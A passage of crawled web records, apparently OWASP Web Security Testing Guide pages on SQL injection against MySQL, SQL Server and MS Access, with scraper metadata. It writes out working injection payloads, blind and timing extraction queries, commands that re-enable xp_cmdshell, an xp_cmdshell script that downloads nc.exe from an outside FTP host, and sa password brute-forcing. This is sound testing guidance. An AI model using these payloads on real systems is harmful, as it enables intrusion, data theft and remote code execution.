[CURRENT_USER()](https://dev.mysql.com/doc/refman/8.0/en/information-functions.html#function_current-user) : the internal user who is executing the query.\n\nThere is some difference between 1 and 2. The main one is that an anonymous user could connect (if allowed) with any name, but the MySQL internal user is an empty name (‘’). Another difference is that a stored procedure or a stored function are executed as the creator user, if not declared elsewhere. This can be known by using `CURRENT_USER`.\n\nIn band injection:\n\n`1 AND 1=0 UNION SELECT USER()`\n\nInferential injection:\n\n`1 AND USER() like 'root%'`\n\nThe response would contain something to the lines of:\n\n`user@hostname`\n\n#### Database Name in Use\n\nThere is the native function `DATABASE()`\n\nIn band injection:\n\n`1 AND 1=0 UNION SELECT DATABASE()`\n\nInferential injection:\n\n`1 AND DATABASE() like 'db%'`\n\n> Expected Result, A string like this:\n> \n> `dbname`\n\n#### INFORMATION_SCHEMA\n\nFrom MySQL 5.0 a view named [INFORMATION_SCHEMA](https://dev.mysql.com/doc/refman/8.0/en/information-schema.html) was created. It allows us to get all the information about databases, tables, and columns, as well as procedures and functions.\n\n| Tables_in_INFORMATION_SCHEMA | DESCRIPTION |\n| --- | --- |\n| SCHEMATA | All databases the user has (at least) SELECT_priv |\n| SCHEMA_PRIVILEGES | The privileges the user has for each DB |\n| TABLES | All tables the user has (at least) SELECT_priv |\n| TABLE_PRIVILEGES | The privileges the user has for each table |\n| COLUMNS | All columns the user has (at least) SELECT_priv |\n| COLUMN_PRIVILEGES | The privileges the user has for each column |\n| VIEWS | All columns the user has (at least) SELECT_priv |\n| ROUTINES | Procedures and functions (needs EXECUTE_priv) |\n| TRIGGERS | Triggers (needs INSERT_priv) |\n| USER_PRIVILEGES | Privileges connected User has |\n\nAll of this information could be extracted by using known techniques as described in SQL Injection section.\n\n### Attack Vectors\n\n#### Write in a File\n\nIf the connected user has `FILE` privileges and single quotes are not escaped, the `into outfile` clause can be used to export query results in a file.\n\n`Select * from table into outfile '/tmp/file'`\n\n> Note: there is no way to bypass single quotes surrounding a filename. So if there’s some sanitization on single quotes like escape `\\'` there will be no way to use the `into outfile` clause.\n\nThis kind of attack could be used as an out-of-band technique to gain information about the results of a query or to write a file which could be executed inside the web server directory.\n\nExample:\n\n`1 limit 1 into outfile '/var/www/root/test.jsp' FIELDS ENCLOSED BY '//' LINES TERMINATED BY '\\n<%jsp code here%>';`\n\n> Results are stored in a file with `rw-rw-rw` privileges owned by MySQL user and group.\n> \n> Where `/var/www/root/test.jsp` will contain:\n> \n> `//field values//` `<%jsp code here%>`\n\n#### Read from a File\n\n`load_file` is a native function that can read a file when allowed by the file system permissions. If a connected user has `FILE` privileges, it could be used to get the files’ content. Single quotes escape sanitization can by bypassed by using previously described techniques.\n\n`load_file('filename')`\n\n> The whole file will be available for exporting by using standard techniques.\n\n### Standard SQL Injection Attack\n\nIn a standard SQL injection you can have results displayed directly in a page as normal output or as a MySQL error. By using already mentioned SQL Injection attacks and the already described MySQL features, direct SQL injection could be easily accomplished at a level depth depending primarily on the MySQL version the pentester is facing.\n\nA good attack is to know the results by forcing a function/procedure or the server itself to throw an error. A list of errors thrown by MySQL and in particular native functions could be found on [MySQL Manual](https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html).\n\n### Out of Band SQL Injection\n\nOut of band injection could be accomplished by using the `into outfile` clause.\n\n### Blind SQL Injection\n\nFor blind SQL injection, there is a set of useful function natively provided by MySQL server.\n\n- String Length:\n - `LENGTH(str)`\n- Extract a substring from a given string:\n - `SUBSTRING(string, offset, #chars_returned)`\n- Time based Blind Injection:\n - BENCHMARK and SLEEP `BENCHMARK(#ofcycles,action_to_be_performed)` The benchmark function could be used to perform timing attacks when blind injection by boolean values does not yield any results.\n See. `SLEEP()` (MySQL > 5.0.x) for an alternative on benchmark.\n\nFor a complete list, refer to the [MySQL manual](https://dev.mysql.com/doc/refman/8.0/en/functions.html)\n\n## Tools\n\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](https://sqlmap.org/)\n- [Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool](https://code.google.com/archive/p/mysqloit/)\n\n## References\n\n- [PortSwigger Web Security Academy: Blind SQL Injection](https://portswigger.net/web-security/sql-injection/blind)\n- [HackTricks: 3306 - Pentesting MySQL](https://hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 9628, "slov": 1417, "odkazu": 213, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:59", "sha256": "77fe0290ddca1f88a32356b313cd8a20fb875b307ff69da1b3c38c268df5cc6c", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://dev.mysql.com/doc/refman/8.0/en/comments.html", "https://dev.mysql.com/doc/refman/8.0/en/information-functions.html", "https://dev.mysql.com/doc/refman/8.0/en/information-schema.html", "https://dev.mysql.com/doc/mysql-errors/8.0/en/server-error-reference.html", "https://dev.mysql.com/doc/refman/8.0/en/functions.html", "https://sqlmap.org/", "https://code.google.com/archive/p/mysqloit/", "https://portswigger.net/web-security/sql-injection/blind", "https://hacktricks.wiki/en/network-services-pentesting/pentesting-mysql.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.3-SQL_Server", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.3-SQL_Server", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.3-SQL_Server", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "SQL Server"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "SQL Server Characteristics"}, {"uroven": 3, "text": "Example 1: SQL Injection in a GET Request"}, {"uroven": 3, "text": "Example 2: SQL Injection in a GET Request"}, {"uroven": 3, "text": "Example 3: Testing in a POST Request"}, {"uroven": 3, "text": "Example 4: Yet Another (Useful) GET Example"}, {"uroven": 3, "text": "Example 5: Enabling or Replacing xp_cmdshell"}, {"uroven": 3, "text": "Example 6: Referer / User-Agent"}, {"uroven": 3, "text": "Example 7: SQL Server as a Port Scanner"}, {"uroven": 3, "text": "Example 8: Upload of Executables"}, {"uroven": 3, "text": "Obtain Information When It Is Not Displayed (Out of Band)"}, {"uroven": 3, "text": "Blind SQL Injection Attacks"}, {"uroven": 4, "text": "Trial and Error"}, {"uroven": 4, "text": "If Multiple Error Messages Displayed"}, {"uroven": 4, "text": "Timing Attacks"}, {"uroven": 4, "text": "Checking for Version and Vulnerabilities"}, {"uroven": 3, "text": "Example 9: Bruteforce of Sysadmin Password"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# SQL Server\n\n## Summary\n\nIn this section some [SQL Injection](https://owasp.org/www-community/attacks/SQL_Injection) techniques that utilize specific features of Microsoft SQL Server will be discussed.\n\nSQL injection vulnerabilities occur whenever input is used in the construction of an SQL query without being adequately constrained or sanitized. The use of dynamic SQL (the construction of SQL queries by concatenation of strings) opens the door to these vulnerabilities. SQL injection allows an attacker to access the SQL servers and execute SQL code under the privileges of the user used to connect to the database.\n\nAs explained in [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection), a SQL-injection exploit requires two things: an entry point, and an exploit to enter. Any user-controlled parameter that gets processed by the application might be hiding a vulnerability. This includes:\n\n- Application parameters in query strings (e.g., GET requests)\n- Application parameters included as part of the body of a POST request\n- Browser-related information (e.g., user-agent, referrer)\n- Host-related information (e.g., hostname, IP)\n- Session-related information (e.g., user ID, cookies)\n\nMicrosoft SQL server has a few unique characteristics, so some exploits need to be specially customized for this application.\n\n## How to Test\n\n### SQL Server Characteristics\n\nTo begin, let’s see some SQL Server operators and commands/stored procedures that are useful in a SQL Injection test:\n\n- comment operator: `--` (useful for forcing the query to ignore the remaining portion of the original query; this won’t be necessary in every case)\n- query separator: `;` (semicolon)\n- Useful stored procedures and features include:\n - [xp_cmdshell](https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql) executes a command shell on the server under the SQL Server service account context. It requires `sysadmin` privileges and has been disabled by default since SQL Server 2005 (it can be re-enabled with `sp_configure` when advanced options are shown).\n - `xp_regread` reads an arbitrary value from the Registry (undocumented extended procedure)\n - `xp_regwrite` writes an arbitrary value into the Registry (undocumented extended procedure)\n - [sp_makewebtask](https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008/ms180099(v=sql.100)) (removed; present only on very old SQL Server versions) wrote query results to a file via the Web Assistant.\n - [xp_sendmail](https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms189505(v=sql.105)) (removed with SQL Mail) sent email that could include a query result set attachment.\n\nThe examples below focus on techniques that remain relevant on SQL Server and Azure SQL Managed Instance when privileged features are exposed. Most use `exec`.\n\nBelow we show how to execute a shell command that writes the output of the command `dir c:\\inetpub` in a browseable file, assuming that the web server and the DB server reside on the same host. The following syntax uses `xp_cmdshell`:\n\n`exec master.dbo.xp_cmdshell 'dir c:\\inetpub > c:\\inetpub\\wwwroot\\test.txt'--`\n\nOn legacy SQL Server versions that still provide Web Assistant procedures, `sp_makewebtask` could be used instead:\n\n`exec sp_makewebtask 'C:\\Inetpub\\wwwroot\\test.txt', 'select * from master.dbo.sysobjects'--`\n\nA successful execution will create a file that can be browsed by the tester.\n\nIn addition, SQL Server built-in functions and environment variables are very handy. The following uses the function `db_name()` to trigger an error that will return the name of the database:\n\n`/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20db_name())`\n\nNotice the use of [convert](https://learn.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql):\n\n`CONVERT ( data_type [ ( length ) ] , expression [ , style ] )`\n\n`CONVERT` will try to convert the result of `db_name` (a string) into an integer variable, triggering an error, which, if displayed by the vulnerable application, will contain the name of the DB.\n\nThe following example uses the environment variable `@@version`, combined with a `union select`-style injection, in order to find the version of the SQL Server.\n\n`/form.asp?prop=33%20union%20select%201,2006-01-06,2007-01-06,1,'stat','name1','name2',2006-01-06,1,@@version%20--`\n\nAnd here’s the same attack, but using again the conversion trick:\n\n`/controlboard.asp?boardID=2&itemnum=1%20AND%201=CONVERT(int,%20@@VERSION)`\n\nInformation gathering is useful for exploiting software vulnerabilities at the SQL Server, through the exploitation of an SQL-injection attack or direct access to the SQL listener.\n\nIn the following, we show several examples that exploit SQL injection vulnerabilities through different entry points.\n\n### Example 1: SQL Injection in a GET Request\n\nThe most simple (and sometimes most rewarding) case would be that of a login page requesting an username and password for user login. You can try entering the following string “’ or ‘1’=’1” (without double quotes):\n\n`https://vulnerable.web.app/login.asp?Username='%20or%20'1'='1&Password='%20or%20'1'='1`\n\nIf the application is using Dynamic SQL queries, and the string gets appended to the user credentials validation query, this may result in a successful login to the application.\n\n### Example 2: SQL Injection in a GET Request\n\nIn order to learn how many columns exist\n\n`https://vulnerable.web.app/list_report.aspx?number=001%20UNION%20ALL%201,1,'a',1,1,1%20FROM%20users;--`\n\n### Example 3: Testing in a POST Request\n\nSQL Injection, HTTP POST Content: `email=%27&whichSubmit=submit&submit.x=0&submit.y=0`\n\nA complete post example (`https://vulnerable.web.app/forgotpass.asp`):\n\n```\nPOST /forgotpass.asp HTTP/1.1\nHost: vulnerable.web.app\n[...]\nReferer: https://vulnerable.web.app/forgotpass.asp\nContent-Type: application/x-www-form-urlencoded\nContent-Length: 50\n\nemail=%27&whichSubmit=submit&submit.x=0&submit.y=0\n```\n\nThe error message obtained when a `'` (single quote) character is entered at the email field is:\n\n```\nMicrosoft OLE DB Provider for SQL Server error '80040e14'\nUnclosed quotation mark before the character string '' '.\n/forgotpass.asp, line 15\n```\n\n### Example 4: Yet Another (Useful) GET Example\n\nObtaining the application’s source code\n\n`a' ; master.dbo.xp_cmdshell ' copy c:\\inetpub\\wwwroot\\login.aspx c:\\inetpub\\wwwroot\\login.txt';--`\n\n### Example 5: Enabling or Replacing `xp_cmdshell`\n\nSecurity baselines keep `xp_cmdshell` disabled. With `sysadmin` rights (natively or after recovering the `sa` or admin password; see below), re-enable it or recreate equivalent functionality.\n\nEnable `xp_cmdshell` by injecting:\n\n```\nmaster..sp_configure 'show advanced options',1 reconfigure master..sp_configure 'xp_cmdshell',1 reconfigure \n```\n\nOn legacy SQL Server 2000 estates, if `xp_cmdshell` was removed with `sp_dropextendedproc`, it could be restored with:\n\n`sp_addextendedproc 'xp_cmdshell','xp_log70.dll'`\n\nIf that failed because `xp_log70.dll` was moved or deleted, a custom procedure using OLE Automation (`sp_OACreate`, `sp_OAMethod`, `sp_OADestroy`) could recreate shell execution, as described by Antonin Foller (see links at the bottom of the page), provided OLE Automation remained enabled.\n\n### Example 6: Referer / User-Agent\n\nThe `REFERER` header set to:\n\n`Referer: https://vulnerable.web.app/login.aspx', 'user_agent', 'some_ip'); [SQL CODE]--`\n\nAllows the execution of arbitrary SQL Code. The same happens with the User-Agent header set to:\n\n`User-Agent: user_agent', 'some_ip'); [SQL CODE]--`\n\n### Example 7: SQL Server as a Port Scanner\n\nIn SQL Server, one of the most useful (at least for the pentester) commands is OPENROWSET, which is used to run a query on another DB Server and retrieve the results. The penetration tester can use this command to scan ports of other machines in the target network, injecting the following query:\n\n`select * from OPENROWSET('SQLOLEDB','uid=sa;pwd=foobar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5','select 1')--`\n\nThis query will attempt a connection to the address x.y.w.z on port p. If the port is closed, the following message will be returned:\n\n`SQL Server does not exist or access denied`\n\nOn the other hand, if the port is open, one of the following errors will be returned:\n\n`General network error. Check your network documentation`\n\n`OLE DB provider 'sqloledb' reported an error. The provider did not give any information about the error.`\n\nOf course, the error message is not always available. If that is the case, we can use the response time to understand what is going on: with a closed port, the timeout (5 seconds in this example) will be consumed, whereas an open port will return the result right away.\n\nKeep in mind that `OPENROWSET` and Ad Hoc Distributed Queries have been disabled by default since SQL Server 2005 (they were enabled by default on SQL Server 2000).\n\n### Example 8: Upload of Executables\n\nOnce we can use `xp_cmdshell` (either the native one or a custom one), we can easily upload executables on the target DB Server. A very common choice is `netcat.exe`, but any trojan will be useful here. If the target is allowed to start FTP connections to the tester’s machine, all that is needed is to inject the following queries:\n\n```\nexec master..xp_cmdshell 'echo open ftp.tester.org > ftpscript.txt';-- exec master..xp_cmdshell 'echo USER >> ftpscript.txt';-- exec master..xp_cmdshell 'echo PASS >> ftpscript.txt';-- exec master..xp_cmdshell 'echo bin >> ftpscript.txt';-- exec master..xp_cmdshell 'echo get nc.exe >> ftpscript.txt';-- exec master..xp_cmdshell 'echo quit >> ftpscript.txt';-- exec master..xp_cmdshell 'ftp -s:ftpscript.txt';-- \n```\n\nAt this point, `nc.exe` will be uploaded and available.\n\nIf FTP is not allowed by the firewall, we have a workaround that exploits the Windows debugger, `debug.exe`, that is installed by default in all Windows machines. `Debug.exe` is scriptable and is able to create an executable by executing an appropriate script file. What we need to do is to convert the executable into a debug script (which is a 100% ASCII file), upload it line by line and finally call `debug.exe` on it. There are several tools that create such debug files (e.g.: `makescr.exe` by Ollie Whitehouse and `dbgtool.exe` by `toolcrypt.org`). The queries to inject will therefore be the following:\n\n```\nexec master..xp_cmdshell 'echo [debug script line #1 of n] > debugscript.txt';-- exec master..xp_cmdshell 'echo [debug script line #2 of n] >> debugscript.txt';-- .... exec master..xp_cmdshell 'echo [debug script line #n of n] >> debugscript.txt';-- exec master..xp_cmdshell 'debug.exe < debugscript.txt';-- \n```\n\nAt this point, our executable is available on the target machine, ready to be executed. There are tools that automate this process, most notably `Bobcat`, which runs on Windows, and `Sqlninja`, which runs on Unix (See the tools at the bottom of this page).\n\n### Obtain Information When It Is Not Displayed (Out of Band)\n\nNot all is lost when the web application does not return any information –such as descriptive error messages (cf. [Blind SQL Injection](https://owasp.org/www-community/attacks/Blind_SQL_Injection)). For example, it might happen that one has access to the source code (e.g., because the web application is based on an open source software). Then, the pentester can exploit all the SQL injection vulnerabilities discovered offline in the web application. Although an IPS might stop some of these attacks, the best way would be to proceed as follows: develop and test the attacks in a testbed created for that purpose, and then execute these attacks against the web application being tested.\n\nOther options for out of band attacks are described in Sample 4 above.\n\n### Blind SQL Injection Attacks\n\n#### Trial and Error\n\nAlternatively, one may play lucky. That is the attacker may assume that there is a blind or out-of-band SQL injection vulnerability in a the web application. He will then select an attack vector (e.g., a web entry), [use fuzz vectors](/www-project-web-security-testing-guide/latest/6-Appendix/D-Fuzzing) against this channel and watch the response. For example, if the web application is looking for a book using a query\n\n```\nselect * from books where title=\"text entered by the user\" \n```\n\nthen the penetration tester might enter the text: `'Bomba' OR 1=1-` and if data is not properly validated, the query will go through and return the whole list of books. This is evidence that there is a SQL injection vulnerability. The penetration tester might later `play` with the queries in order to assess the criticality of this vulnerability.\n\n> ***NOTE:*** Take care when injecting the condition OR 1=1 into a SQL query. Although this may be harmless in the initial context you’re injecting into, it’s common for applications to use data from a single request in multiple different queries. If your condition reaches an UPDATE or DELETE statement, for example, this can result in an accidental loss of data.\n\n#### If Multiple Error Messages Displayed\n\nOn the other hand, if no prior information is available, there is still a possibility of attacking by exploiting any `covert channel`. It might happen that descriptive error messages are stopped, yet the error messages give some information. For example:\n\n- In some cases the web application (actually the web server) might return the traditional `500: Internal Server Error` , say when the application returns an exception that might be generated, for instance, by a query with unclosed quotes.\n- While in other cases the server will return a `200 OK` message, but the web application will return some error message inserted by the developers `Internal server error` or `bad data` .\n\nThis one bit of information might be enough to understand how the dynamic SQL query is constructed by the web application and tune up an exploit. Another out-of-band method is to output the results through HTTP browseable files.\n\n#### Timing Attacks\n\nThere is one more possibility for making a blind SQL injection attack when there is not visible feedback from the application: by measuring the time that the web application takes to answer a request. An attack of this sort is [described by Anley](https://web.archive.org/web/20160413052024/https://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf) from where we take the next examples. A typical approach uses the `waitfor delay` command: let’s say that the attacker wants to check if the `pubs` sample database exists, he will simply inject the following command:\n\n`if exists (select * from pubs..pub_info) waitfor delay '0:0:5'`\n\nDepending on the time that the query takes to return, we will know the answer. In fact, what we have here is two things: a `SQL injection vulnerability` and a `covert channel` that allows the penetration tester to get 1 bit of information for each query. Hence, using several queries (as many queries as bits in the required information) the pentester can get any data that is in the database. Look at the following query\n\n```\ndeclare @s varchar(8000) declare @i int select @s = db_name() select @i = [some value] if (select len(@s)) < @i waitfor delay '0:0:5' \n```\n\nMeasuring the response time and using different values for `@i`, we can deduce the length of the name of the current database, and then start to extract the name itself with the following query:\n\n`if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 waitfor delay '0:0:5'`\n\nThis query will wait for 5 seconds if bit `@bit` of byte `@byte` of the name of the current database is 1, and will return at once if it is 0. Nesting two cycles (one for `@byte` and one for `@bit`) we will we able to extract the whole piece of information.\n\nHowever, it might happen that the command `waitfor` is not available (e.g., because it is filtered by an IPS/web application firewall). This doesn’t mean that blind SQL injection attacks cannot be done, as the pentester should only come up with any time consuming operation that is not filtered. For example\n\n```\ndeclare @i int select @i = 0 while @i < 0xaffff begin select @i = @i + 1 end \n```\n\n#### Checking for Version and Vulnerabilities\n\nThe same timing approach can be used to identify the SQL Server version via the built-in `@@version` variable:\n\n`select @@version`\n\nExample responses:\n\n`Microsoft SQL Server 2022 (RTM) - 16.0.1000.6 (X64) ...`\n\n`Microsoft SQL Server 2019 (RTM) - 15.0.2000.5 (X64) ...`\n\n`Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 2005 00:33:37`\n\nBecause the product year and build number sit at different offsets across releases, extract a distinctive substring (for example `2022`, `2019`, or the major version number such as `16.0`) rather than hard-coding a single character position. A timing-based check might look like:\n\n`if (select @@version) like '%2022%' waitfor delay '0:0:5'`\n\n### Example 9: Bruteforce of Sysadmin Password\n\nTo bruteforce the sysadmin password, we can leverage the fact that `OPENROWSET` needs proper credentials to successfully perform the connection and that such a connection can also be “looped” to the local DB Server. Combining these features with an inference injection attack based on response timing, we can inject the following code:\n\n`select * from OPENROWSET('SQLOLEDB','';'sa';'','select 1;waitfor delay ''0:0:5'' ')`\n\nWhat we are doing here is attempting a connection to the local database (specified by the empty field after `SQLOLEDB`) using `sa` and `` as credentials. If the password is correct and the connection is successful, the query is executed, making the DB wait for 5 seconds (and also returning a value, since OPENROWSET expects at least one column). Fetching the candidate passwords from a wordlist and measuring the time needed for each connection, we can attempt to guess the correct password. In “Data-mining with SQL Injection and Inference”, David Litchfield pushes this technique even further, by injecting a piece of code in order to bruteforce the sysadmin password using the CPU resources of the DB Server itself.\n\nOnce we have the sysadmin password, we have two choices:\n\n- Inject all following queries using `OPENROWSET` , in order to use sysadmin privileges\n- Add our current user to the sysadmin group using `sp_addsrvrolemember` . The current username can be extracted using inference injection against the variable `system_user` .\n\nRemember that Ad Hoc Distributed Queries and `OPENROWSET` have been restricted since SQL Server 2005 and must usually be enabled explicitly by an administrator.\n\n## Tools\n\n- [Bernardo Damele A. G.: sqlmap, automatic SQL injection tool](https://sqlmap.org/)\n\n## References\n\n### Whitepapers\n\n- [David Litchfield: “Data-mining with SQL Injection and Inference”](https://dl.packetstormsecurity.net/papers/attack/sqlinference.pdf)\n- [Chris Anley, “(more) Advanced SQL Injection”](https://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf)\n- [Alexander Chigrik: “Useful undocumented extended stored procedures”](https://www.databasejournal.com/ms-sql/useful-undocumented-extended-stored-procedures/)\n- [Antonin Foller: “Custom xp_cmdshell, using shell object”](https://www.motobit.com/tips/detpg_cmdshell)\n- [SQL Injection](https://www.cisecurity.org/wp-content/uploads/2017/05/SQL-Injection-White-Paper.pdf)\n- [Cesar Cerrudo: Manipulating Microsoft SQL Server Using SQL Injection, uploading files, getting into internal network, port scanning, DOS](https://www.cgisecurity.com/lib/Manipulating_SQL_Server_Using_SQL_Injection.pdf)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 19265, "slov": 2775, "odkazu": 215, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:53:00", "sha256": "6ec53a7089e14a2a68b723ec94e88ed57266210d5cf6ad596584c908786f61df", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://learn.microsoft.com/en-us/sql/relational-databases/system-stored-procedures/xp-cmdshell-transact-sql", "https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008/ms180099(v=sql.100)", "https://learn.microsoft.com/en-us/previous-versions/sql/sql-server-2008-r2/ms189505(v=sql.105)", "https://learn.microsoft.com/en-us/sql/t-sql/functions/cast-and-convert-transact-sql", "https://www.encription.co.uk/downloads/more_advanced_sql_injection.pdf", "https://sqlmap.org/", "https://dl.packetstormsecurity.net/papers/attack/sqlinference.pdf", "https://www.cgisecurity.com/lib/more_advanced_sql_injection.pdf", "https://www.databasejournal.com/ms-sql/useful-undocumented-extended-stored-procedures/", "https://www.motobit.com/tips/detpg_cmdshell", "https://www.cisecurity.org/wp-content/uploads/2017/05/SQL-Injection-White-Paper.pdf", "https://www.cgisecurity.com/lib/Manipulating_SQL_Server_Using_SQL_Injection.pdf", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.5-MS_Access", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.5-MS_Access", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/07-Injection/05.5-MS_Access", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "07-Injection"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "MS Access"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Fingerprinting"}, {"uroven": 3, "text": "Basic Testing"}, {"uroven": 4, "text": "Attributes Enumeration"}, {"uroven": 4, "text": "Obtaining Database Schema"}, {"uroven": 3, "text": "Blind SQL Injection Testing"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# MS Access\n\n## Summary\n\nAs explained in the generic [SQL injection](https://owasp.org/www-community/attacks/SQL_Injection) section, SQL injection vulnerabilities occur whenever user-supplied input is used during the construction of a SQL query without being adequately constrained or sanitized. This class of vulnerabilities allows an attacker to execute SQL code under the privileges of the user that is used to connect to the database. In this section, relevant SQL injection techniques that utilize specific features of [Microsoft Access](https://en.wikipedia.org/wiki/Microsoft_Access) will be discussed.\n\n## How to Test\n\n### Fingerprinting\n\nFingerprinting the specific database technology while testing SQL-powered application is the first step to properly asses potential vulnerabilities. A common approach involves injecting standard SQL injection attack patterns (e.g. single quote, double quote, …) in order to trigger database exceptions. Assuming that the application does not handle exceptions with custom pages, it is possible to fingerprint the underline DBMS by observing error messages.\n\nDepending on the specific web technology used, MS Access driven applications will respond with one of the following errors:\n\n`Fatal error: Uncaught exception 'com_exception' with message Source: Microsoft JET Database Engine`\n\nor\n\n`Microsoft JET Database Engine error '80040e14'`\n\nor\n\n`Microsoft Office Access Database Engine`\n\nIn all cases, we have a confirmation that we’re testing an application using MS Access database.\n\n### Basic Testing\n\nUnfortunately, MS Access doesn’t support typical operators that are traditionally used during SQL injection testing, including:\n\n- No comments characters\n- No stacked queries\n- No LIMIT operator\n- No SLEEP or BENCHMARK alike operators\n- and many others\n\nNevertheless, it is possible to emulate those functions by combining multiple operators or by using alternative techniques. As mentioned, it is not possible to use the trick of inserting the characters `/*`, `--` or `#` in order to truncate the query. However, we can fortunately bypass this limitation by injecting a ‘null’ character. Using a null byte `%00` within a SQL query results in MS Access ignoring all remaining characters. This can be explained by considering that all strings are NULL terminated in the internal representation used by the database. It is worth mentioning that the `null` character can sometimes cause troubles too as it may truncate strings at the web server level. In those situations, we can however employ another character: `0x16` (`%16` in URL encoded format).\n\nConsidering the following query:\n\n`SELECT [username],[password] FROM users WHERE [username]='$myUsername' AND [password]='$myPassword'`\n\nWe can truncate the query with the following two URLs:\n\n- `https://www.example.com/page.asp?user=admin'%00&pass=foo`\n- `https://www.example.com/page.app?user=admin'%16&pass=foo`\n\nThe `LIMIT` operator is not implemented in MS Access, however it is possible to limit the number of results by using the `TOP` or `LAST` operators instead.\n\n`https://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00`\n\nBy combining both operators, it is possible to select specific results. String concatenation is possible by using `& (%26)` and `+ (%2b)` characters.\n\nThere are also many other functions that can be used while testing SQL injection, including but not limited to:\n\n- ASC: Obtain the ASCII value of a character passed as input\n- CHR: Obtain the character of the ASCII value passed as input\n- LEN: Return the length of the string passed as parameter\n- IIF: Is the IF construct, for example the following statement `IIF(1=1, 'a', 'b')` return `a`\n- MID: This function allows you to extract substring, for example the following statement `mid('abc',1,1)` return `a`\n- TOP: This function allows you to specify the maximum number of results that the query should return from the top. For example `TOP 1` will return only 1 row.\n- LAST: This function is used to select only the last row of a set of rows. For example the following query `SELECT last(*)` FROM users will return only the last row of the result.\n\nSome of these operators are essential to exploit blind SQL injections. For other advanced operators, please refer to the documents in the references.\n\n#### Attributes Enumeration\n\nIn order to enumerate the column of a database table, it is possible to use a common error-based technique. In short, we can obtain the attributes name by analyzing error messages and repeating the query with different selectors. For example, assuming that we know the existence of a column, we can also obtain the name of the remaining attributes with the following query:\n\n`' GROUP BY Id%00`\n\nIn the error message received, it is possible to observe the name of the next column. At this point, we can iterate the method until we obtain the name of all attributes. If we don’t know the name of the first attribute, we can still insert a fictitious column name and 